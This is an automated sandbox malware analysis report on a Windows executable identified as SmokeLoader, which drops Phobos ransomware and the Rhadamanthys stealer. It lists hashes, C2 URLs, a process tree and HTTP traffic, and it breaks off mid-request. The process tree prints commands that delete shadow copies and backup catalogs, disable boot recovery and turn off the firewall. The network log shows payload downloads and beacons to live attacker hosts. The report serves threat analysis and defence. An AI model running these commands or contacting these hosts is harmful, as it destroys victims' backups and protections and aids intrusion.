Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

3

b5b467e930...63.exe

windows7-x64

10

b5b467e930...63.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    152s
  • max time network
    158s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/10/2023, 19:31 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    b5b467e9309cbddb4a9ed34a82a36163.exe

  • Size

    462KB

  • MD5

    b5b467e9309cbddb4a9ed34a82a36163

  • SHA1

    1e28242e9862c5b5b040a415e5db619d862a7224

  • SHA256

    ff38415bfa7f2db5ba40f26e64ede0676971c441823d2ec2755d644d8905d809

  • SHA512

    7dd9a63d9d89564aa7a1b571a0f0095b07c02a5faca908580f871133bbe9d5ce70d345c87528c5f65228577f4c26243a1393a47126ca45166791fcaea4de4776

  • SSDEEP

    12288:udcF8KWGUJib0PfIN2AyF5t/AKNxwkvJWaZjs:7F8KWGUcbaAWntTNlv0aB

Score
10/10
ammyyadminflawedammyyphobosrhadamanthyssmokeloaderbackdoorbootkitcollectionevasionpersistenceransomwareratspywarestealertrojan

Malware Config

Extracted

Family

smokeloader

Version

2022

C2

http://servermlogs27.xyz/statweb255/

http://servmblog45.xyz/statweb255/

http://demblog575.xyz/statweb255/

http://admlogs85x.xyz/statweb255/

http://blogmstat389.xyz/statweb255/

http://blogmstat255.xyz/statweb255/
rc4.i32
1
0x4b4ad520
rc4.i32
1
0x6eefbfb0

Signatures

  • Ammyy Admin

    Remote admin tool with various capabilities.

    ratammyyadmin
  • AmmyyAdmin payload 2 IoCs
  • Detect rhadamanthys stealer shellcode 6 IoCs
  • FlawedAmmyy RAT

    Remote-access trojan based on leaked code for the Ammyy remote admin software.

    trojanflawedammyy
  • Phobos

    Phobos ransomware appeared at the beginning of 2019.

    ransomwarephobos
  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

    stealerrhadamanthys
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Renames multiple (373) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Downloads MZ/PE file
  • Modifies Windows Firewall 1 TTPs 2 IoCs
    evasion
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 21 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses Microsoft Outlook profiles 1 TTPs 9 IoCs
    collection
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Drops desktop.ini file(s) 4 IoCs
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Checks SCSI registry key(s) 3 TTPs 7 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 33 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b5b467e9309cbddb4a9ed34a82a36163.exe
    "C:\Users\Admin\AppData\Local\Temp\b5b467e9309cbddb4a9ed34a82a36163.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3364
    • C:\Users\Admin\AppData\Local\Temp\b5b467e9309cbddb4a9ed34a82a36163.exe
      C:\Users\Admin\AppData\Local\Temp\b5b467e9309cbddb4a9ed34a82a36163.exe
      2⤵
      • Suspicious use of NtCreateUserProcessOtherParentProcess
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4904
  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of UnmapMainImage
    • Suspicious use of WriteProcessMemory
    PID:3128
    • C:\Windows\system32\certreq.exe
      "C:\Windows\system32\certreq.exe"
      2⤵
      • Accesses Microsoft Outlook profiles
      • Checks processor information in registry
      • Suspicious behavior: EnumeratesProcesses
      PID:4760
    • C:\Users\Admin\AppData\Local\Temp\139E.exe
      C:\Users\Admin\AppData\Local\Temp\139E.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3060
      • C:\Users\Admin\AppData\Local\Temp\139E.exe
        C:\Users\Admin\AppData\Local\Temp\139E.exe
        3⤵
        • Drops startup file
        • Executes dropped EXE
        • Adds Run key to start application
        • Drops desktop.ini file(s)
        • Drops file in Program Files directory
        • Suspicious use of AdjustPrivilegeToken
        PID:4436
        • C:\Users\Admin\AppData\Local\Temp\139E.exe
          "C:\Users\Admin\AppData\Local\Temp\139E.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of AdjustPrivilegeToken
          PID:2736
          • C:\Users\Admin\AppData\Local\Temp\139E.exe
            C:\Users\Admin\AppData\Local\Temp\139E.exe
            5⤵
            • Executes dropped EXE
            PID:1064
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe"
          4⤵
            PID:1172
            • C:\Windows\system32\vssadmin.exe
              vssadmin delete shadows /all /quiet
              5⤵
              • Interacts with shadow copies
              PID:4160
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic shadowcopy delete
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3420
            • C:\Windows\system32\bcdedit.exe
              bcdedit /set {default} bootstatuspolicy ignoreallfailures
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:2080
            • C:\Windows\system32\bcdedit.exe
              bcdedit /set {default} recoveryenabled no
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:4272
            • C:\Windows\system32\wbadmin.exe
              wbadmin delete catalog -quiet
              5⤵
              • Deletes backup catalog
              PID:464
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe"
            4⤵
              PID:2300
              • C:\Windows\system32\netsh.exe
                netsh advfirewall set currentprofile state off
                5⤵
                • Modifies Windows Firewall
                PID:3580
              • C:\Windows\system32\netsh.exe
                netsh firewall set opmode mode=disable
                5⤵
                • Modifies Windows Firewall
                PID:2752
        • C:\Users\Admin\AppData\Local\Temp\1544.exe
          C:\Users\Admin\AppData\Local\Temp\1544.exe
          2⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of AdjustPrivilegeToken
          PID:4700
          • C:\Users\Admin\AppData\Local\Temp\1544.exe
            "C:\Users\Admin\AppData\Local\Temp\1544.exe"
            3⤵
            • Executes dropped EXE
            PID:3240
        • C:\Windows\SysWOW64\explorer.exe
          C:\Windows\SysWOW64\explorer.exe
          2⤵
          • Accesses Microsoft Outlook profiles
          • outlook_office_path
          • outlook_win_path
          PID:3860
        • C:\Windows\explorer.exe
          C:\Windows\explorer.exe
          2⤵
            PID:2612
          • C:\Windows\SysWOW64\explorer.exe
            C:\Windows\SysWOW64\explorer.exe
            2⤵
              PID:3776
            • C:\Windows\SysWOW64\explorer.exe
              C:\Windows\SysWOW64\explorer.exe
              2⤵
                PID:3480
              • C:\Windows\SysWOW64\explorer.exe
                C:\Windows\SysWOW64\explorer.exe
                2⤵
                  PID:4900
                • C:\Windows\explorer.exe
                  C:\Windows\explorer.exe
                  2⤵
                    PID:904
                  • C:\Windows\SysWOW64\explorer.exe
                    C:\Windows\SysWOW64\explorer.exe
                    2⤵
                      PID:3236
                    • C:\Windows\explorer.exe
                      C:\Windows\explorer.exe
                      2⤵
                        PID:1264
                      • C:\Windows\SysWOW64\explorer.exe
                        C:\Windows\SysWOW64\explorer.exe
                        2⤵
                          PID:2612
                        • C:\Windows\explorer.exe
                          C:\Windows\explorer.exe
                          2⤵
                            PID:1304
                          • C:\Windows\SysWOW64\explorer.exe
                            C:\Windows\SysWOW64\explorer.exe
                            2⤵
                              PID:184
                            • C:\Windows\SysWOW64\explorer.exe
                              C:\Windows\SysWOW64\explorer.exe
                              2⤵
                                PID:860
                              • C:\Windows\SysWOW64\explorer.exe
                                C:\Windows\SysWOW64\explorer.exe
                                2⤵
                                  PID:5044
                                • C:\Windows\explorer.exe
                                  C:\Windows\explorer.exe
                                  2⤵
                                    PID:3152
                                  • C:\Windows\SysWOW64\explorer.exe
                                    C:\Windows\SysWOW64\explorer.exe
                                    2⤵
                                    • Suspicious behavior: MapViewOfSection
                                    PID:3148
                                    • C:\Users\Admin\AppData\Local\Temp\DCBA.tmp\svchost.exe
                                      C:\Users\Admin\AppData\Local\Temp\DCBA.tmp\svchost.exe -debug
                                      3⤵
                                      • Checks computer location settings
                                      • Executes dropped EXE
                                      • Writes to the Master Boot Record (MBR)
                                      • Suspicious use of FindShellTrayWindow
                                      PID:4356
                                      • C:\Windows\SYSTEM32\rundll32.exe
                                        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\DCBA.tmp\aa_nts.dll",run
                                        4⤵
                                        • Loads dropped DLL
                                        PID:2976
                                • C:\Users\Admin\AppData\Local\Microsoft\V]5jPPdpdb.exe
                                  "C:\Users\Admin\AppData\Local\Microsoft\V]5jPPdpdb.exe"
                                  1⤵
                                  • Executes dropped EXE
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  • Suspicious use of WriteProcessMemory
                                  PID:2456
                                  • C:\Users\Admin\AppData\Local\Microsoft\V]5jPPdpdb.exe
                                    C:\Users\Admin\AppData\Local\Microsoft\V]5jPPdpdb.exe
                                    2⤵
                                    • Executes dropped EXE
                                    PID:4852
                                  • C:\Users\Admin\AppData\Local\Microsoft\V]5jPPdpdb.exe
                                    C:\Users\Admin\AppData\Local\Microsoft\V]5jPPdpdb.exe
                                    2⤵
                                    • Executes dropped EXE
                                    PID:2444
                                  • C:\Users\Admin\AppData\Local\Microsoft\V]5jPPdpdb.exe
                                    C:\Users\Admin\AppData\Local\Microsoft\V]5jPPdpdb.exe
                                    2⤵
                                    • Executes dropped EXE
                                    PID:2112
                                  • C:\Users\Admin\AppData\Local\Microsoft\V]5jPPdpdb.exe
                                    C:\Users\Admin\AppData\Local\Microsoft\V]5jPPdpdb.exe
                                    2⤵
                                    • Executes dropped EXE
                                    PID:4108
                                  • C:\Users\Admin\AppData\Local\Microsoft\V]5jPPdpdb.exe
                                    C:\Users\Admin\AppData\Local\Microsoft\V]5jPPdpdb.exe
                                    2⤵
                                    • Executes dropped EXE
                                    PID:2200
                                  • C:\Users\Admin\AppData\Local\Microsoft\V]5jPPdpdb.exe
                                    C:\Users\Admin\AppData\Local\Microsoft\V]5jPPdpdb.exe
                                    2⤵
                                    • Executes dropped EXE
                                    PID:1764
                                  • C:\Users\Admin\AppData\Local\Microsoft\V]5jPPdpdb.exe
                                    C:\Users\Admin\AppData\Local\Microsoft\V]5jPPdpdb.exe
                                    2⤵
                                    • Executes dropped EXE
                                    PID:4136
                                  • C:\Users\Admin\AppData\Local\Microsoft\V]5jPPdpdb.exe
                                    C:\Users\Admin\AppData\Local\Microsoft\V]5jPPdpdb.exe
                                    2⤵
                                    • Executes dropped EXE
                                    PID:3160
                                  • C:\Users\Admin\AppData\Local\Microsoft\V]5jPPdpdb.exe
                                    C:\Users\Admin\AppData\Local\Microsoft\V]5jPPdpdb.exe
                                    2⤵
                                    • Executes dropped EXE
                                    PID:1736
                                  • C:\Users\Admin\AppData\Local\Microsoft\V]5jPPdpdb.exe
                                    C:\Users\Admin\AppData\Local\Microsoft\V]5jPPdpdb.exe
                                    2⤵
                                    • Executes dropped EXE
                                    PID:4596
                                • C:\Users\Admin\AppData\Local\Microsoft\m_Rb%.exe
                                  "C:\Users\Admin\AppData\Local\Microsoft\m_Rb%.exe"
                                  1⤵
                                  • Executes dropped EXE
                                  • Suspicious use of SetThreadContext
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  • Suspicious use of WriteProcessMemory
                                  PID:4368
                                  • C:\Users\Admin\AppData\Local\Microsoft\m_Rb%.exe
                                    C:\Users\Admin\AppData\Local\Microsoft\m_Rb%.exe
                                    2⤵
                                    • Executes dropped EXE
                                    • Checks SCSI registry key(s)
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious behavior: MapViewOfSection
                                    PID:1156
                                  • C:\Users\Admin\AppData\Local\Microsoft\m_Rb%.exe
                                    C:\Users\Admin\AppData\Local\Microsoft\m_Rb%.exe
                                    2⤵
                                    • Executes dropped EXE
                                    PID:264
                                • C:\Windows\system32\vssvc.exe
                                  C:\Windows\system32\vssvc.exe
                                  1⤵
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:5096
                                • C:\Windows\system32\wbengine.exe
                                  "C:\Windows\system32\wbengine.exe"
                                  1⤵
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:116
                                • C:\Windows\System32\vdsldr.exe
                                  C:\Windows\System32\vdsldr.exe -Embedding
                                  1⤵
                                    PID:1276
                                  • C:\Windows\System32\vds.exe
                                    C:\Windows\System32\vds.exe
                                    1⤵
                                    • Checks SCSI registry key(s)
                                    PID:4076

                                  Network

                                  • flag-us
                                    DNS
                                    8.8.8.8.in-addr.arpa
                                    Remote address:
                                    8.8.8.8:53
                                    Request
                                    8.8.8.8.in-addr.arpa
                                    IN PTR
                                    Response
                                    8.8.8.8.in-addr.arpa
                                    IN PTR
                                    dnsgoogle
                                  • flag-us
                                    DNS
                                    2.136.104.51.in-addr.arpa
                                    Remote address:
                                    8.8.8.8:53
                                    Request
                                    2.136.104.51.in-addr.arpa
                                    IN PTR
                                    Response
                                  • flag-us
                                    DNS
                                    126.23.238.8.in-addr.arpa
                                    Remote address:
                                    8.8.8.8:53
                                    Request
                                    126.23.238.8.in-addr.arpa
                                    IN PTR
                                    Response
                                  • flag-us
                                    DNS
                                    136.32.126.40.in-addr.arpa
                                    Remote address:
                                    8.8.8.8:53
                                    Request
                                    136.32.126.40.in-addr.arpa
                                    IN PTR
                                    Response
                                  • flag-us
                                    DNS
                                    95.221.229.192.in-addr.arpa
                                    Remote address:
                                    8.8.8.8:53
                                    Request
                                    95.221.229.192.in-addr.arpa
                                    IN PTR
                                    Response
                                  • flag-us
                                    DNS
                                    43.58.199.20.in-addr.arpa
                                    Remote address:
                                    8.8.8.8:53
                                    Request
                                    43.58.199.20.in-addr.arpa
                                    IN PTR
                                    Response
                                  • flag-us
                                    DNS
                                    amxt25.xyz
                                    certreq.exe
                                    Remote address:
                                    8.8.8.8:53
                                    Request
                                    amxt25.xyz
                                    IN A
                                    Response
                                    amxt25.xyz
                                    IN A
                                    45.131.66.61
                                  • flag-de
                                    GET
                                    http://amxt25.xyz/a6ba5b1ae6dec5f7c/8tkf22v9.ed2jd
                                    b5b467e9309cbddb4a9ed34a82a36163.exe
                                    Remote address:
                                    45.131.66.61:80
                                    Request
                                    GET /a6ba5b1ae6dec5f7c/8tkf22v9.ed2jd HTTP/1.1
                                    Host: amxt25.xyz
                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
                                    Accept-Language: en-US,en;q=0.9
                                    Accept-Encoding: gzip, deflate, br
                                    Cache-Control: max-age=0
                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
                                    If-Match: "/yZDlE2tRgNj17JQiOusTrHUTuIjzszFIUTJWzLUdvGgJtJb4vt0ts2K2Ih3YZQpTcfyUJyNt831TpG2Kj5ikgBlbi1VUw=="
                                    Connection: close
                                    Response
                                    HTTP/1.1 200 OK
                                    Server: nginx
                                    Date: Wed, 11 Oct 2023 19:31:58 GMT
                                    Content-Type: audio/wav
                                    Content-Length: 1889958
                                    Connection: close
                                  • flag-us
                                    DNS
                                    146.78.124.51.in-addr.arpa
                                    Remote address:
                                    8.8.8.8:53
                                    Request
                                    146.78.124.51.in-addr.arpa
                                    IN PTR
                                    Response
                                  • flag-us
                                    DNS
                                    61.66.131.45.in-addr.arpa
                                    Remote address:
                                    8.8.8.8:53
                                    Request
                                    61.66.131.45.in-addr.arpa
                                    IN PTR
                                    Response
                                  • flag-us
                                    DNS
                                    61.66.131.45.in-addr.arpa
                                    Remote address:
                                    8.8.8.8:53
                                    Request
                                    61.66.131.45.in-addr.arpa
                                    IN PTR
                                  • flag-us
                                    DNS
                                    50.23.12.20.in-addr.arpa
                                    Remote address:
                                    8.8.8.8:53
                                    Request
                                    50.23.12.20.in-addr.arpa
                                    IN PTR
                                    Response
                                  • flag-us
                                    DNS
                                    15.164.165.52.in-addr.arpa
                                    Remote address:
                                    8.8.8.8:53
                                    Request
                                    15.164.165.52.in-addr.arpa
                                    IN PTR
                                    Response
                                  • flag-us
                                    DNS
                                    126.22.238.8.in-addr.arpa
                                    Remote address:
                                    8.8.8.8:53
                                    Request
                                    126.22.238.8.in-addr.arpa
                                    IN PTR
                                    Response
                                  • flag-de
                                    GET
                                    http://amxt25.xyz/a6ba5b1ae6dec5f7c/8tkf22v9.ed2jd
                                    certreq.exe
                                    Remote address:
                                    45.131.66.61:80
                                    Request
                                    GET /a6ba5b1ae6dec5f7c/8tkf22v9.ed2jd HTTP/1.1
                                    Host: amxt25.xyz
                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
                                    Accept-Language: en-US,en;q=0.9
                                    Accept-Encoding: gzip, deflate, br
                                    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0
                                    Upgrade: websocket
                                    Connection: upgrade
                                    Sec-Websocket-Version: 13
                                    Sec-Websocket-Key: a2wAfYN89ipxtMW
                                    Response
                                    HTTP/1.1 101 Switching Protocols
                                    Server: nginx
                                    Date: Wed, 11 Oct 2023 19:32:16 GMT
                                    Connection: upgrade
                                    Upgrade: websocket
                                    Sec-WebSocket-Accept: lNZ8zUEimmq9fehuEU4MqDQ2PJc=
                                  • flag-de
                                    GET
                                    http://amxt25.xyz/a6ba5b1ae6dec5f7c/8tkf22v9.ed2jd
                                    certreq.exe
                                    Remote address:
                                    45.131.66.61:80
                                    Request
                                    GET /a6ba5b1ae6dec5f7c/8tkf22v9.ed2jd HTTP/1.1
                                    Host: amxt25.xyz
                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
                                    Accept-Language: en-US,en;q=0.9
                                    Accept-Encoding: gzip, deflate, br
                                    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0
                                    Upgrade: websocket
                                    Connection: upgrade
                                    Sec-Websocket-Version: 13
                                    Sec-Websocket-Key: CEdgKQEe93P0uVa
                                    Response
                                    HTTP/1.1 101 Switching Protocols
                                    Server: nginx
                                    Date: Wed, 11 Oct 2023 19:32:22 GMT
                                    Connection: upgrade
                                    Upgrade: websocket
                                    Sec-WebSocket-Accept: L+XMpnRjxZy+42SPhjV/Zx+V9Dw=
                                  • flag-us
                                    DNS
                                    servermlogs27.xyz
                                    svchost.exe
                                    Remote address:
                                    8.8.8.8:53
                                    Request
                                    servermlogs27.xyz
                                    IN A
                                    Response
                                    servermlogs27.xyz
                                    IN A
                                    45.131.66.120
                                  • flag-de
                                    POST
                                    http://servermlogs27.xyz/statweb255/
                                    Explorer.EXE
                                    Remote address:
                                    45.131.66.120:80
                                    Request
                                    POST /statweb255/ HTTP/1.1
                                    Connection: Keep-Alive
                                    Content-Type: application/x-www-form-urlencoded
                                    Accept: */*
                                    Referer: http://wdrwsdtkwdpspvje.net/
                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                    Content-Length: 311
                                    Host: servermlogs27.xyz
                                    Response
                                    HTTP/1.1 404 Not Found
                                    Server: nginx
                                    Date: Wed, 11 Oct 2023 19:32:45 GMT
                                    Content-Type: text/html; charset=utf-8
                                    Transfer-Encoding: chunked
                                    Connection: keep-alive
                                    Vary: Accept-Encoding
                                  • flag-de
                                    POST
                                    http://servermlogs27.xyz/statweb255/
                                    Explorer.EXE
                                    Remote address:
                                    45.131.66.120:80
                                    Request
                                    POST /statweb255/ HTTP/1.1
                                    Connection: Keep-Alive
                                    Content-Type: application/x-www-form-urlencoded
                                    Accept: */*
                                    Referer: http://eeqvrojnesslfva.net/
                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                    Content-Length: 357
                                    Host: servermlogs27.xyz
                                    Response
                                    HTTP/1.1 404 Not Found
                                    Server: nginx
                                    Date: Wed, 11 Oct 2023 19:32:45 GMT
                                    Content-Type: text/html; charset=utf-8
                                    Transfer-Encoding: chunked
                                    Connection: keep-alive
                                    Vary: Accept-Encoding
                                  • flag-de
                                    POST
                                    http://servermlogs27.xyz/statweb255/
                                    Explorer.EXE
                                    Remote address:
                                    45.131.66.120:80
                                    Request
                                    POST /statweb255/ HTTP/1.1
                                    Connection: Keep-Alive
                                    Content-Type: application/x-www-form-urlencoded
                                    Accept: */*
                                    Referer: http://phwfmrjocsrhmvj.org/
                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                    Content-Length: 192
                                    Host: servermlogs27.xyz
                                    Response
                                    HTTP/1.1 404 Not Found
                                    Server: nginx
                                    Date: Wed, 11 Oct 2023 19:32:45 GMT
                                    Content-Type: text/html; charset=utf-8
                                    Transfer-Encoding: chunked
                                    Connection: keep-alive
                                    Vary: Accept-Encoding
                                  • flag-de
                                    POST
                                    http://servermlogs27.xyz/statweb255/
                                    Explorer.EXE
                                    Remote address:
                                    45.131.66.120:80
                                    Request
                                    POST /statweb255/ HTTP/1.1
                                    Connection: Keep-Alive
                                    Content-Type: application/x-www-form-urlencoded
                                    Accept: */*
                                    Referer: http://yfoidhkyksonr.net/
                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                    Content-Length: 285
                                    Host: servermlogs27.xyz
                                    Response
                                    HTTP/1.1 404 Not Found
                                    Server: nginx
                                    Date: Wed, 11 Oct 2023 19:32:45 GMT
                                    Content-Type: text/html; charset=utf-8
                                    Transfer-Encoding: chunked
                                    Connection: keep-alive
                                    Vary: Accept-Encoding
                                  • flag-de
                                    POST
                                    http://servermlogs27.xyz/statweb255/
                                    Explorer.EXE
                                    Remote address:
                                    45.131.66.120:80
                                    Request
                                    POST /statweb255/ HTTP/1.1
                                    Connection: Keep-Alive
                                    Content-Type: application/x-www-form-urlencoded
                                    Accept: */*
                                    Referer: http://nqdhfcksjqghcfn.com/
                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                    Content-Length: 287
                                    Host: servermlogs27.xyz
                                    Response
                                    HTTP/1.1 404 Not Found
                                    Server: nginx
                                    Date: Wed, 11 Oct 2023 19:32:46 GMT
                                    Content-Type: text/html; charset=utf-8
                                    Transfer-Encoding: chunked
                                    Connection: keep-alive
                                    Vary: Accept-Encoding
                                  • flag-de
                                    POST
                                    http://servermlogs27.xyz/statweb255/
                                    Explorer.EXE
                                    Remote address:
                                    45.131.66.120:80
                                    Request
                                    POST /statweb255/ HTTP/1.1
                                    Connection: Keep-Alive
                                    Content-Type: application/x-www-form-urlencoded
                                    Accept: */*
                                    Referer: http://vxvumhkhsuswiv.org/
                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                    Content-Length: 172
                                    Host: servermlogs27.xyz
                                    Response
                                    HTTP/1.1 404 Not Found
                                    Server: nginx
                                    Date: Wed, 11 Oct 2023 19:32:46 GMT
                                    Content-Type: text/html; charset=utf-8
                                    Transfer-Encoding: chunked
                                    Connection: keep-alive
                                    Vary: Accept-Encoding
                                  • flag-de
                                    POST
                                    http://servermlogs27.xyz/statweb255/
                                    Explorer.EXE
                                    Remote address:
                                    45.131.66.120:80
                                    Request
                                    POST /statweb255/ HTTP/1.1
                                    Connection: Keep-Alive
                                    Content-Type: application/x-www-form-urlencoded
                                    Accept: */*
                                    Referer: http://fipvnpfsqwn.org/
                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                    Content-Length: 326
                                    Host: servermlogs27.xyz
                                    Response
                                    HTTP/1.1 200 OK
                                    Server: nginx
                                    Date: Wed, 11 Oct 2023 19:32:46 GMT
                                    Content-Type: text/html; charset=utf-8
                                    Transfer-Encoding: chunked
                                    Connection: keep-alive
                                    Vary: Accept-Encoding
                                  • flag-de
                                    POST
                                    http://servermlogs27.xyz/statweb255/
                                    Explorer.EXE
                                    Remote address:
                                    45.131.66.120:80
                                    Request
                                    POST /statweb255/ HTTP/1.1
                                    Connection: Keep-Alive
                                    Content-Type: application/x-www-form-urlencoded
                                    Accept: */*
                                    Referer: http://arjvgorxuyqd.org/
                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                    Content-Length: 341
                                    Host: servermlogs27.xyz
                                    Response
                                    HTTP/1.1 200 OK
                                    Server: nginx
                                    Date: Wed, 11 Oct 2023 19:32:46 GMT
                                    Content-Type: text/html; charset=utf-8
                                    Transfer-Encoding: chunked
                                    Connection: keep-alive
                                    Vary: Accept-Encoding
                                  • flag-de
                                    POST
                                    http://servermlogs27.xyz/statweb255/
                                    Explorer.EXE
                                    Remote address:
                                    45.131.66.120:80
                                    Request
                                    POST /statweb255/ HTTP/1.1
                                    Connection: Keep-Alive
                                    Content-Type: application/x-www-form-urlencoded
                                    Accept: */*
                                    Referer: http://owwyqdjwwxpifns.net/
                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                    Content-Length: 159
                                    Host: servermlogs27.xyz
                                    Response
                                    HTTP/1.1 200 OK
                                    Server: nginx
                                    Date: Wed, 11 Oct 2023 19:32:46 GMT
                                    Content-Type: text/html; charset=utf-8
                                    Transfer-Encoding: chunked
                                    Connection: keep-alive
                                    Vary: Accept-Encoding
                                  • flag-de
                                    POST
                                    http://servermlogs27.xyz/statweb255/
                                    Explorer.EXE
                                    Remote address:
                                    45.131.66.120:80
                                    Request
                                    POST /statweb255/ HTTP/1.1
                                    Connection: Keep-Alive
                                    Content-Type: application/x-www-form-urlencoded
                                    Accept: */*
                                    Referer: http://ytqpwrliwdgs.com/
                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                    Content-Length: 253
                                    Host: servermlogs27.xyz
                                    Response
                                    HTTP/1.1 200 OK
                                    Server: nginx
                                    Date: Wed, 11 Oct 2023 19:32:46 GMT
                                    Content-Type: text/html; charset=utf-8
                                    Transfer-Encoding: chunked
                                    Connection: keep-alive
                                    Vary: Accept-Encoding
                                  • flag-de
                                    POST
                                    http://servermlogs27.xyz/statweb255/
                                    Explorer.EXE
                                    Remote address:
                                    45.131.66.120:80
                                    Request
                                    POST /statweb255/ HTTP/1.1
                                    Connection: Keep-Alive
                                    Content-Type: application/x-www-form-urlencoded
                                    Accept: */*
                                    Referer: http://cjoqulyhqphw.com/
                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                    Content-Length: 174
                                    Host: servermlogs27.xyz
                                    Response
                                    HTTP/1.1 200 OK
                                    Server: nginx
                                    Date: Wed, 11 Oct 2023 19:32:46 GMT
                                    Content-Type: text/html; charset=utf-8
                                    Transfer-Encoding: chunked
                                    Connection: keep-alive
                                    Vary: Accept-Encoding
                                  • flag-de
                                    POST
                                    http://servermlogs27.xyz/statweb255/
                                    Explorer.EXE
                                    Remote address:
                                    45.131.66.120:80
                                    Request
                                    POST /statweb255/ HTTP/1.1
                                    Connection: Keep-Alive
